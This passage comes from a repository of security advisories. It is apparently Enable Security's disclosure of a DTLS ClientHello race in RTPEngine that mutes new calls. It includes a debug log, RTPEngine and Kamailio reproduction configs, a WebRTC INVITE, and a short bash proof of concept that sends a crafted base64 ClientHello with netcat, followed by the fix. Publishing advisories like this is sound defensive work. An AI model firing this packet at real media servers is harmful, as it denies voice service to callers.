against RTPEngine that fails due to an attacker controlled DTLS ClientHello](resources/dos.png) 33 | 34 | During a real attack, the attacker would spray a vulnerable RTPEngine server with DTLS ClientHello messages. The attacker would typically target the range of UDP ports allocated for RTP. When the ClientHello message from the Attacker wins the race against an expected ClientHello from the Caller, RTPEngine terminates the media session resulting in Denial of Service. 35 | 36 | The following log shows that RTPEngine resets the DTLS connection context: 37 | 38 | ``` 39 | DEBUG: [... port 39910]: [ice] Received ICE/STUN response code 0 for candidate pair TUk2hmDhRdEwbjA1:6249488300:1 from 192.168.1.202:56083 to 192.168.1.202 40 | DEBUG: [... port 39910]: [ice] Setting ICE candidate pair TUk2hmDhRdEwbjA1:6249488300:1 as succeeded 41 | DEBUG: [... port 39910]: [ice] Best succeeded ICE pair with all components is TUk2hmDhRdEwbjA1:6249488300:1 42 | DEBUG: [... port 39910]: [ice] ICE not completed yet, but can use pair TUk2hmDhRdEwbjA1:6249488300:1 43 | INFO: [... port 39910]: [ice] ICE negotiated: peer for component 1 is 192.168.1.202:56083 44 | INFO: [... port 39910]: [ice] ICE negotiated: local interface 192.168.1.202 45 | DEBUG: [... port 39910]: [srtp] Processing incoming DTLS packet 46 | ERR: [... port 39910]: [crypto] DTLS error: 1 (no shared cipher) 47 | ERR: [... port 39910]: [srtp] DTLS error on local port 39910 48 | DEBUG: [... port 39910]: [crypto] Resetting DTLS connection context 49 | ``` 50 | 51 | ## Impact 52 | 53 | Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable RTPEngine servers for calls that rely on DTLS-SRTP. In practice, this results in all new calls appearing to be on mute. 54 | 55 | ## How to reproduce the issue 56 | 57 | 1. Run an RTPEngine instance with the following command: 58 | 59 | ```bash 60 | rtpengine -f \ 61 | --interface= \ 62 | --listen-ng="" \ 63 | --pidfile= \ 64 | --port-min=35000 \ 65 | --port-max=40000 \ 66 | --log-stderr \ 67 | --log-level=10 68 | ``` 69 | 1. Run a Kamailio instance with the following configuration: 70 | 71 | ```bash 72 | debug=2 73 | log_stderror=yes 74 | 75 | memdbg=5 76 | memlog=5 77 | 78 | log_facility=LOG_LOCAL0 79 | 80 | loadmodule "pv.so" 81 | loadmodule "xlog.so" 82 | loadmodule "rtpengine.so" 83 | loadmodule "sl.so" 84 | loadmodule "tm.so" 85 | loadmodule "textops.so" 86 | loadmodule "siputils.so" 87 | 88 | modparam("rtpengine", "rtpengine_sock", "udp:") 89 | 90 | alias="" 91 | 92 | request_route { 93 | xlog("L_INFO","$su\n"); 94 | 95 | if ($rm == "INVITE") { 96 | $avp(caller_source)="$si:$sp"; 97 | } 98 | 99 | if ($avp(caller_source) == "$si:$sp") { 100 | if ($rm == "INVITE") { 101 | rewritehostport("192.168.1.202:9999"); 102 | rtpengine_manage("replace-origin replace-session-connection pad-crypto RTP/SAVPF ICE=force"); 103 | 104 | t_relay(); 105 | } 106 | break; 107 | } else { 108 | xlog("L_INFO","got a request from callee [$rm]\n"); 109 | break; 110 | } 111 | } 112 | 113 | onreply_route{ 114 | if ($avp(caller_source) != "$si:$sp") { 115 | if (!is_request()) { 116 | xlog("L_INFO","got a reply from callee [$rs $rr]\n"); 117 | if has_body("application/sdp") { 118 | rtpengine_manage("replace-origin replace-session-connection pad-crypto RTP/SAVPF ICE=force"); 119 | } 120 | } 121 | exit; 122 | } 123 | } 124 | ``` 125 | 126 | 1. Send an INVITE message to Kamailio with WebRTC SDP: 127 | 128 | ```default 129 | INVITE sip:1000@192.168.1.202 SIP/2.0 130 | Via: SIP/2.0/WSS 192.168.1.202:36742;rport=36742;branch=z9hG4bK-jQcnXJadB2VGfGmQ 131 | Max-Forwards: 70 132 | From: ;tag=L9kc5NfpYG1u67cT 133 | To: 134 | Contact: 135 | Call-ID: DzGnBLt0z9SK3MC0 136 | CSeq: 5 INVITE 137 | Content-Type: application/sdp 138 | Content-Length: 385 139 | 140 | v=0 141 | o=- 1695296331 1695296331 IN IP4 192.168.1.202 142 | s=- 143 | t=0 0 144 | c=IN IP4 192.168.1.202 145 | m=audio 45825 UDP/TLS/RTP/SAVPF 0 8 101 146 | a=setup:active 147 | a=fingerprint:sha-256 49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3 148 | a=rtpmap:0 PCMU/8000/1 149 | a=rtpmap:8 PCMA/8000/1 150 | a=rtpmap:101 telephone-event/8000 151 | a=rtcp-mux 152 | a=rtcprsize 153 | a=sendrecv 154 | ``` 155 | 1. Note RTPEngine's media port and IP values, which will be used as the `` and `` parameters by the Attacker 156 | 1. Send a DTLS ClientHello message from a (attacker-controlled) host, which is different from the Caller but has network access to the RTPEngine server 157 | 158 | ```bash 159 | CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA" 160 | CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H" 161 | CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF" 162 | CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF" 163 | CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA=" 164 | echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u 165 | ``` 166 | 1. Observe that RTPEngine reports that the DTLS context has been reset 167 | 168 | ## Solution and recommendations 169 | 170 | To address this vulnerability, upgrade RTPEngine to the latest version which includes the security fix. The solution implemented is to drop all packets from addresses that have not been validated by an ICE check. 171 | 172 | 173 | ## About Enable Security 174 | 175 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 176 | 177 | ## Disclaimer 178 | 179 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 180 | 181 | ## Disclosure policy 182 | 183 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 184 | 185 | [^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for the Secure Real-time Transport Protocol (SRTP) https://datatracker.ietf.org/doc/html/rfc5764 186 | -------------------------------------------------------------------------------- /ES2023-03-rtpengine-dtls-hello-race/resources/dos.mmd: -------------------------------------------------------------------------------- 1 | sequenceDiagram 2 | Caller->>Kamailio: SIP INVITE 3 | Kamailio->>RTPEngine: rtpengine_manage() 4 | RTPEngine->>Caller: STUN Binding Request 5 | Caller->>RTPEngine: STUN Binding Response 6 | Attacker->>RTPEngine: DTLS Client Hello 7 | -------------------------------------------------------------------------------- /ES2023-03-rtpengine-dtls-hello-race/resources/dos.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2023-03-rtpengine-dtls-hello-race/resources/dos.png -------------------------------------------------------------------------------- /ES2023-03-rtpengine-dtls-hello-race/resources/generate-diagrams.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker run --rm -u "$(id -u):$(id -g)" \ 4 | -v ./:/data minlag/mermaid-cli \ 5 | -i valid.mmd -o valid.png 6 | 7 | docker run --rm -u "$(id -u):$(id -g)" \ 8 | -v ./:/data minlag/mermaid-cli \ 9 | -i dos.mmd -o dos.png 10 | -------------------------------------------------------------------------------- /ES2023-03-rtpengine-dtls-hello-race/resources/valid.mmd: -------------------------------------------------------------------------------- 1 | sequenceDiagram 2 | Caller->>Kamailio: SIP INVITE 3 | Kamailio->>RTPEngine: rtpengine_manage() 4 | RTPEngine->>Caller: STUN Binding Request 5 | Caller->>RTPEngine: STUN Binding Response 6 | Caller->>RTPEngine: DTLS Client Hello 7 | RTPEngine->>Caller: DTLS Server Hello 8 | RTPEngine->>Caller: DTLS Certificate 9 | RTPEngine->>Caller: DTLS Server Key Exchange 10 | RTPEngine->>Caller: DTLS Certificate Request 11 | RTPEngine->>Caller: DTLS Server Hello Done -------------------------------------------------------------------------------- /ES2023-03-rtpengine-dtls-hello-race/resources/valid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2023-03-rtpengine-dtls-hello-race/resources/valid.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Enable Security Advisories 2 | 3 | Security advisories [published](https://www.enablesecurity.com/publications/) by [Enable Security](https://www.enablesecurity.com). 4 | --------------------------------------------------------------------------------